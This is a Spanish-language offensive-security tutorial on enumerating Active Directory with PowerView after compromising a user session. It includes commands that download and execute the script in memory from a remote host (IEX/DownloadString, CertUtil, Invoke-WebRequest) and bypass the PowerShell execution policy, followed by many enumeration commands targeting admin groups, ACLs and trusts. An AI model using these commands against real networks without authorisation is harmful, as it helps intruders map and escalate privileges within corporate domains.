Enumeración Activa del Active Directory (PowerView.ps1 - SharView.exe)
En el mundo de la seguridad ofensiva, entendemos que contar con una máquina Kali Linux, ParrotOS o cualquier distribución basada en Linux orientada a la intrusión de entornos Active Directory es una ventaja considerable. Disponer de todas las herramientas en un solo lugar agiliza los procesos, evitando la necesidad de buscar repositorios en GitHub o instalar múltiples dependencias, ya que prácticamente todo viene listo para usar. Sin embargo, la realidad en un entorno corporativo no siempre es tan accesible. Hay ocasiones en las que no podrás integrar tu propia máquina dentro de la infraestructura, virtualizar Kali Linux o utilizar sistemas que no estén autorizados. Es en esos momentos cuando debes recurrir a tu verdadera arma secreta, el conocimiento. Ese recurso que ni la víctima, ni el cliente, ni incluso tú mismo esperabas necesitar con tanta urgencia. Tus habilidades no se limitan a Bash o Shell, también dominas PowerShell y CMD con la misma potencia. Por ello, hoy te presento una guía práctica de enumeración inicial que debes realizar tras comprometer una sesión de usuario dentro de un entorno Active Directory. No solo podrás recolectar información utilizando CMD, sino que también tendrás a tu disposición alternativas como PowerView y SharpView, herramientas esenciales para la enumeración avanzada en escenarios donde Kali Linux no está disponible.
Primero que nada te presentare las herramientas que vamos a utilizar.
Un aspecto fundamental que debes tener siempre en cuenta es que no siempre podrás ejecutar PowerView.ps1 o SharpView.exe directamente. Windows Defender y otras soluciones de seguridad los detectan como archivos maliciosos, impidiendo su ejecución en memoria o su almacenamiento en disco, ya que serán automáticamente eliminados del entorno.
Pero no te preocupes. 👀
Existen varios trucos que podemos aplicar para importar nuestro PowerView de forma segura y evadir estas restricciones. Estos métodos los estaremos abordando más adelante en otra sección😉.Además, en situaciones donde el uso de PowerView o SharpView no sea viable, otra alternativa potente es utilizar el Módulo de Active Directory de PowerShell, una opción legítima que también exploraremos más adelante en otra seccion🦾.
Introducción a la Enumeración de Objetos con PowerView
Ahora, enfoquémonos en la enumeración de objetos utilizando PowerView. PowerView.ps1 es una herramienta escrita en PowerShell diseñada para la recolección de información en redes basadas en Windows Active Directory. Esta herramienta permite realizar una amplia variedad de tareas de enumeración, tales como:
- Obtener información sobre dominios y controladores de dominio
- Enumerar usuarios, grupos y computadoras
- Extraer detalles sobre políticas de grupo (GPOs) etc
PowerView forma parte del proyecto PowerSploit y fue desarrollado por Will Schroeder (HarmJ0y), una figura reconocida en el ámbito de la seguridad ofensiva. Para utilizar PowerView.ps1, es necesario descargar el archivo y ejecutarlo en una consola de PowerShell con la política de ejecución establecida en Bypass, permitiendo así la ejecución de scripts no firmados. Ahora que entendemos qué es PowerView y su importancia, vamos a lo realmente interesante. Primer objetivo, te mostraré tres maneras de obtener PowerView.ps1 en el entorno comprometido:
- De manera externa, descargándolo directamente desde un repositorio público (como GitHub).
- De manera interna, sirviéndolo desde un servidor controlado por ti, compartiendo el recurso PowerView.ps1.
- Mediante técnicas de CertUtil / Invoke-WebRequest, que veremos en detalle más adelante.
1. Se importa directamente en memoria (recomendado)
IEX(New-Object Net.WebClient).DownloadString('http://IP/PowerView.ps1')
IEX(New-Object Net.WebClient).DownloadString('http://IP/PowerView.ps1')
2. Se almacena en la ruta C:\Users\Public\ y posteriormente lo importas
Invoke-WebRequest -Uri ('http:/IP/PowerView.ps1') -OutFile C:\Users\Public\PowerView.ps1
cd C:\Users\Public\
Import-Module .\PowerView.ps1
Invoke-WebRequest -Uri ('http:/IP/PowerView.ps1') -OutFile C:\Users\Public\PowerView.ps1
cd C:\Users\Public\
Import-Module .\PowerView.ps1
3. Se almacena en la ruta actual y posteriormente lo importas
CertUtil -f -urlcache -split 'http://IP/PowerView.ps1'
Import-Module .\PowerView.ps1
CertUtil -f -urlcache -split 'http://IP/PowerView.ps1'
Import-Module .\PowerView.ps1
Nota. Recuerda que la URL dependerá de donde solicites el recurso
Ahora vamos a ejecutar bypass para permitir la ejecución de script
powershell.exe -ep bypass
powershell.exe -ep bypass
La siguiente lista de comando en PowerShell te permitirá enumerar la siguiente información:
- Usuarios
- Grupos
- Computadoras
- GPOs
- ACLs
- OUs
- Bosques
- Dominios
- Controladores de Dominio
- Confiazas
Enumeración de Usuarios
El siguiente comando enumera todas las propiedades de todos los usuarios existentes dentro del Active Directory
Get-Domainuser
Get-Domainuser
El siguiente comando enumera solo propiedades seleccionadas
Get-Domainuser -Properties name,objectsid
Get-Domainuser -Properties name,objectsid
Enumeración de Usuarios con filtros (Nombre-NombreCompleto-SID)
Get-DomainUser | select -ExpandProperty name,samaccountname,ObjectSid
Get-DomainUser | select -ExpandProperty name,samaccountname,ObjectSid
El siguiente comando solo enumera las propiedades de un usuario en particular
Get-DomainUser -Identity "usuario_a_enumerar"
Get-DomainUser -Identity "usuario_a_enumerar"
Enumeración de Computadoras
El siguiente comando enumera todas las propiedades de todas las computadoras existentes dentro del Active Directory
Get-DomainComputer
Get-DomainComputer
El siguiente comando enumera las propiedades seleccionadas dentro del Active Directory
Get-DomainComputer -Properties name,dnshostname,objectsid
Get-DomainComputer -Properties name,dnshostname,objectsid
Get-DomainComputer | select -ExpandProperty dnshostname
Get-DomainComputer | select -ExpandProperty dnshostname
Enumeración de Grupos
El siguiente comando enumera todos los groupos existentes en Active Directory
Get-DomainGroup
Get-DomainGroup
El siguiente comando permite ver detalles del grupo Domain Admins:
Get-DomainGroup -Identity "Domain Admins"
Get-DomainGroup -Identity "Domain Admins"
El siguiente comando enumera los miembros del grupo Administradores de dominio(El grupo puede ser modificable en la busqueda)
Get-DomainGroupMember -Identity "Domain Admins"
Get-DomainGroupMember -Identity "Domain Admins"
El siguiente comando enumera los miembros del grupo Enterprise Admins
Get-DomainGroupMember -Identity "Enterprise Admins"
Get-DomainGroupMember -Identity "Enterprise Admins"
Cuando el dominio no es un dominio raíz, el comando anterior no devuelva nada. Necesitamos consultar el dominio raíz como Enterprise El grupo de administradores está presente solo en la raíz de un bosque.
Get-DomainGroupMember -Identity "Enterprise Admins" -Domain autonomiahcker.local
Get-DomainGroupMember -Identity "Enterprise Admins" -Domain autonomiahcker.local
Enumeración de GPOs
Enumera las GPOs. Tenga en cuenta que el nombre (displayname) de las políticas de grupo puede puede ser diferente en cada entorno
Get-DomainGPO
Get-DomainGPO
Enumera las GPOs aplicadas a un usuario, utiliza el siguiente comando:
Get-NetGPO -User 'NombreDeUsuario'
Get-NetGPO -User 'NombreDeUsuario'
Enumera las GPOs aplicadas a un equipo, utiliza el siguiente comando:
Get-NetGPO -Computer 'NombreDeEquipo'
Get-NetGPO -Computer 'NombreDeEquipo'
Enumera las GPOs aplicadas al usuario actual, utiliza el siguiente comando:
Get-NetGPO -Username (Get-NetUser -Username 'NombreDeUsuario' -Domain 'NombreDeDominio').SID
Get-NetGPO -Username (Get-NetUser -Username 'NombreDeUsuario' -Domain 'NombreDeDominio').SID
Enumera las GPOs aplicadas al equipo actual, utiliza el siguiente comando:
Get-NetGPO -ComputerName $env:COMPUTERNAME -Domain 'NombreDeDominio'
Get-NetGPO -ComputerName $env:COMPUTERNAME -Domain 'NombreDeDominio'
Enumera todas las GPOs aplicadas en el dominio, utiliza el siguiente comando:
Get-NetGPO -Domain 'NombreDeDominio'
Get-NetGPO -Domain 'NombreDeDominio'
El siguiente comando permite saber la politicas que estan creadas en el dominio
Get-NetGPO | select displayname
Get-NetGPO | select displayname
Comando para ver que GPO afecta a grupos o computadoras
Get-NetGPOGroup
Get-NetGPOGroup
Ver las computadoras que están afectadas por la GPO
Find-GPOComputerAdmin -ComputerIdentity * | select computername,objectname
Find-GPOComputerAdmin -ComputerIdentity * | select computername,objectname
Enumeración de ACLs (Listas de Control de Acceso)
Para enumerar ACL, podemos usar Get-DomainObjectACL de PowerView vamos a enumerar las ACL para el Grupo de Administradores de Dominio(El grupo puede ser de su eleccion)
Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs -Verbose
Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs -Verbose
Para comprobar si se pueden modificar los derechos/permisos para el usuarioX, podemos usar Find-InterestingDomainACL de PowerView
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "usuarioX"}
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "usuarioX"}
Si somos miembro del grupo RDPUsers o Xgrupo, compruebe los permisos.
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}
Comando para ver el objeto, el ACL toda la lista de accesos que tiene el grupo Domain Admins(El grupo puede ser de su eleccion)
Get-ObjectAcl -Identity "Domain Admins" -ResolveGUIDs | select securityidentifier,ActiveDirectoryRights,objectdn | f1
Get-ObjectAcl -Identity "Domain Admins" -ResolveGUIDs | select securityidentifier,ActiveDirectoryRights,objectdn | f1
Enumeración de OUs
Enumerar todo las OU
Get-DomainOU
Get-DomainOU
Para ver solo los nombres de las OU
Get-DomainOU | select -ExpandProperty name
Get-DomainOU | select -ExpandProperty name
Enumerar todas las computadoras en usuarioX OU( o cualquier computadora que quieras)
(Get-DomainOU -Identity pc-usuarioX).distinguishedname | %{Get-DomainComputer -SearchBase $_} | select name
(Get-DomainOU -Identity pc-usuarioX).distinguishedname | %{Get-DomainComputer -SearchBase $_} | select name
Enumeración de Bosques, Dominios y Controladores de Dominio
Enumera el Bosque
Get-Forest
Get-Forest
Enumera los controladores de dominio existentes en dominio hijo o padre(esto dependerá donde estés posicionado)
Get-DomainController
Get-DomainController
Enumera los controladores de dominio del dominio padre
Get-DomainController -Domain dominiopadre.local
Get-DomainController -Domain dominiopadre.local
Enumeración de Confianzas
Enumera confianzas
Get-DomainTrust
Get-DomainTrust
Mapea las confianzas
Get-DomainTrustMapping
Get-DomainTrustMapping
Enumerar solo las confianzas externos en dominio.local bosque
Get-ForestDomain | %{Get-DomainTrust -Domain $_.Name} | ?{$_.TrustAttributes -eq "FILTER_SIDS"}
Get-ForestDomain | %{Get-DomainTrust -Domain $_.Name} | ?{$_.TrustAttributes -eq "FILTER_SIDS"}
Para identificar las confianzas externas del dominio corp.dominio.local, podemos utilice el siguiente comando:
Get-ForestDomain | %{Get-DomainTrust -Domain $_.Name} | ?{$_.TrustAttributes -eq "FILTER_SIDS"}
Get-ForestDomain | %{Get-DomainTrust -Domain $_.Name} | ?{$_.TrustAttributes -eq "FILTER_SIDS"}